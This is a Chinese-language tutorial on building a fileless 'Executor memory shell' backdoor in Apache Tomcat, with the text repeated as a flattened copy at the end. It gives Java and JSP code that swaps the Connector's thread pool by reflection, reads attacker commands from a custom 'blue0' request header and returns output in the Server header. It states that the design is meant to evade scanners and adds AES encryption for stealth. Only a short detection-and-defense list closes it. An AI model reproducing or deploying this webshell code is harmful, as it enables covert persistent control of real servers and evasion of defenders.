Executor内存马的实现
字数 1163 2025-08-26 22:11:15

Tomcat Executor内存马实现详解

前言

本文详细讲解如何在Tomcat的Connector组件中实现Executor内存马。与常见的Container内存马不同,这种内存马位于Connector层,能够绕过大多数基于Container扫描的内存马查杀工具。

前置知识:Tomcat Connector结构

Tomcat的Connector主要由以下组件构成:

  1. ProtocolHandler:协议处理器
    • Endpoint:负责网络连接处理
    • Processor:负责协议解析
  2. Adapter:将请求适配到Servlet容器

在Http11NioProtocol实现中,Endpoint的核心组件包括:

  1. LimitLatch:连接控制器,控制最大连接数
  2. Acceptor:接收新连接,返回Channel对象给Poller
  3. Poller:类似NIO中的Selector,监控Channel状态
  4. SocketProcessor:封装的任务类
  5. Executor:Tomcat扩展的线程池,执行任务

关键组件分析

LimitLatch

控制Tomcat能接收的最大连接数,使用AQS实现:

public class LimitLatch {
    private class Sync extends AbstractQueuedSynchronizer {
        protected int tryAcquireShared(int ignored) {
            long newCount = count.incrementAndGet();
            if (!released && newCount > limit) {
                count.decrementAndGet();
                return -1;
            } else {
                return 1;
            }
        }
    }
    // 实现连接计数和控制
}

Acceptor

负责接收连接的核心组件:

public class Acceptor<U> implements Runnable {
    public void run() {
        while (endpoint.isRunning()) {
            // 检查连接数限制
            endpoint.countUpOrAwaitConnection();
            
            // 接收新连接
            U socket = endpoint.serverSocketAccept();
            
            // 处理socket
            if (!endpoint.setSocketOptions(socket)) {
                endpoint.closeSocket(socket);
            }
        }
    }
}

Poller

监控Channel状态的核心组件:

public class Poller implements Runnable {
    public void run() {
        while (true) {
            // 检查事件
            boolean hasEvents = events();
            
            // 处理就绪的SelectionKey
            Iterator<SelectionKey> iterator = selector.selectedKeys().iterator();
            while (iterator.hasNext()) {
                SelectionKey sk = iterator.next();
                processKey(sk, (NioSocketWrapper)sk.attachment());
            }
            
            // 处理超时
            timeout(keyCount, hasEvents);
        }
    }
}

SocketProcessor

封装的任务类,关键处理逻辑:

protected class SocketProcessor extends SocketProcessorBase<NioChannel> {
    protected void doRun() {
        // 处理SSL握手等
        
        // 关键处理:调用handler处理请求
        SocketState state = NioEndpoint.this.getHandler().process(this.socketWrapper, this.event);
        
        // 处理连接关闭等
    }
}

Executor内存马实现

Executor接口分析

Tomcat的Executor是定制版线程池,关键点:

  • 由Service维护,同一Service中的组件共享线程池
  • 如果没有定义线程池,Endpoint会自动创建线程池

恶意Executor实现

  1. 继承ThreadPoolExecutor并重写execute方法:
public class threadexcutor extends ThreadPoolExecutor {
    @Override
    public void execute(Runnable command) {
        // 在此处插入恶意代码
        System.out.println("123");
        super.execute(command);
    }
}
  1. 通过反射替换Endpoint的Executor:
NioEndpoint nioEndpoint = (NioEndpoint)getStandardService();
ThreadPoolExecutor exec = (ThreadPoolExecutor)getField(nioEndpoint, "executor");
threadexcutor exe = new threadexcutor(
    exec.getCorePoolSize(), 
    exec.getMaximumPoolSize(),
    exec.getKeepAliveTime(TimeUnit.MILLISECONDS),
    TimeUnit.MILLISECONDS,
    exec.getQueue(),
    exec.getThreadFactory(),
    exec.getRejectedExecutionHandler());
nioEndpoint.setExecutor(exe);

实现交互功能

获取请求命令

由于内存马位于Processor处理之前,需要从NIO缓冲区获取请求:

public String getRequest() {
    try {
        // 遍历线程找到Acceptor线程
        Thread[] threads = (Thread[])getField(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads) {
            if (thread != null && thread.getName().contains("Acceptor")) {
                Object target = getField(thread, "target");
                if (target instanceof Runnable) {
                    // 获取NIO缓冲区
                    Object[] objects = (Object[])getField(getField(getField(target, "this$0"), "nioChannels"), "stack");
                    ByteBuffer heapByteBuffer = (ByteBuffer)getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");
                    String a = new String(heapByteBuffer.array(), "UTF-8");
                    
                    // 提取自定义header中的命令
                    if (a.indexOf("blue0") > -1) {
                        String b = a.substring(a.indexOf("blue0") + "blue0".length() + 1, 
                                             a.indexOf("\r", a.indexOf("blue0")) - 1);
                        return b;
                    }
                }
            }
        }
    } catch (Exception ignored) {}
    return "";
}

实现回显

由于标准ServletResponse尚未生成,需要通过Tomcat的Response对象实现回显:

public void getResponse(byte[] res) {
    try {
        // 遍历处理器获取Response对象
        ArrayList objects = (ArrayList)getField(getField(getField(getField(target, "this$0"), "handler"), "global"), "processors");
        for (Object tmp_object : objects) {
            RequestInfo request = (RequestInfo)tmp_object;
            Response response = (Response)getField(getField(request, "req"), "response");
            // 将结果添加到header中
            response.addHeader("Server", new String(res, "UTF-8"));
        }
    } catch (Exception e) {}
}

加密通信

为增强隐蔽性,实现AES加密:

public static String decode(String key, String content) {
    // AES解密实现
}

public static String encode(String key, String content) {
    // AES加密实现
}

完整JSP实现

<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %>
<%@ page import="org.apache.tomcat.util.threads.ThreadPoolExecutor" %>
<%@ page import="java.util.concurrent.TimeUnit" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.BlockingQueue" %>
<%@ page import="java.util.concurrent.ThreadFactory" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%! 
// 这里包含上述所有工具方法和类定义
%>

<%
// 实际注入代码
NioEndpoint nioEndpoint = (NioEndpoint)getStandardService();
ThreadPoolExecutor exec = (ThreadPoolExecutor)getField(nioEndpoint, "executor");
threadexcutor exe = new threadexcutor(
    exec.getCorePoolSize(), 
    exec.getMaximumPoolSize(),
    exec.getKeepAliveTime(TimeUnit.MILLISECONDS),
    TimeUnit.MILLISECONDS,
    exec.getQueue(),
    exec.getThreadFactory(),
    exec.getRejectedExecutionHandler());
nioEndpoint.setExecutor(exe);
%>

检测与防御

检测方法

  1. 检查Endpoint的Executor是否被替换
  2. 监控非标准线程池行为
  3. 检查异常header字段

防御措施

  1. 限制反射调用
  2. 监控关键组件的修改
  3. 使用RASP进行运行时保护

总结

本文详细分析了Tomcat Connector的工作原理,并展示了如何在Executor层面实现内存马。这种内存马具有以下特点:

  1. 位于Connector层,绕过Container层检测
  2. 通过NIO缓冲区获取请求
  3. 通过Response对象实现回显
  4. 支持加密通信增强隐蔽性

理解这种内存马的实现原理对于防御此类攻击具有重要意义。

Tomcat Executor内存马实现详解 前言 本文详细讲解如何在Tomcat的Connector组件中实现Executor内存马。与常见的Container内存马不同,这种内存马位于Connector层,能够绕过大多数基于Container扫描的内存马查杀工具。 前置知识:Tomcat Connector结构 Tomcat的Connector主要由以下组件构成: ProtocolHandler :协议处理器 Endpoint :负责网络连接处理 Processor :负责协议解析 Adapter :将请求适配到Servlet容器 在Http11NioProtocol实现中,Endpoint的核心组件包括: LimitLatch :连接控制器,控制最大连接数 Acceptor :接收新连接,返回Channel对象给Poller Poller :类似NIO中的Selector,监控Channel状态 SocketProcessor :封装的任务类 Executor :Tomcat扩展的线程池,执行任务 关键组件分析 LimitLatch 控制Tomcat能接收的最大连接数,使用AQS实现: Acceptor 负责接收连接的核心组件: Poller 监控Channel状态的核心组件: SocketProcessor 封装的任务类,关键处理逻辑: Executor内存马实现 Executor接口分析 Tomcat的Executor是定制版线程池,关键点: 由Service维护,同一Service中的组件共享线程池 如果没有定义线程池,Endpoint会自动创建线程池 恶意Executor实现 继承ThreadPoolExecutor并重写execute方法: 通过反射替换Endpoint的Executor: 实现交互功能 获取请求命令 由于内存马位于Processor处理之前,需要从NIO缓冲区获取请求: 实现回显 由于标准ServletResponse尚未生成,需要通过Tomcat的Response对象实现回显: 加密通信 为增强隐蔽性,实现AES加密: 完整JSP实现 检测与防御 检测方法 检查Endpoint的Executor是否被替换 监控非标准线程池行为 检查异常header字段 防御措施 限制反射调用 监控关键组件的修改 使用RASP进行运行时保护 总结 本文详细分析了Tomcat Connector的工作原理,并展示了如何在Executor层面实现内存马。这种内存马具有以下特点: 位于Connector层,绕过Container层检测 通过NIO缓冲区获取请求 通过Response对象实现回显 支持加密通信增强隐蔽性 理解这种内存马的实现原理对于防御此类攻击具有重要意义。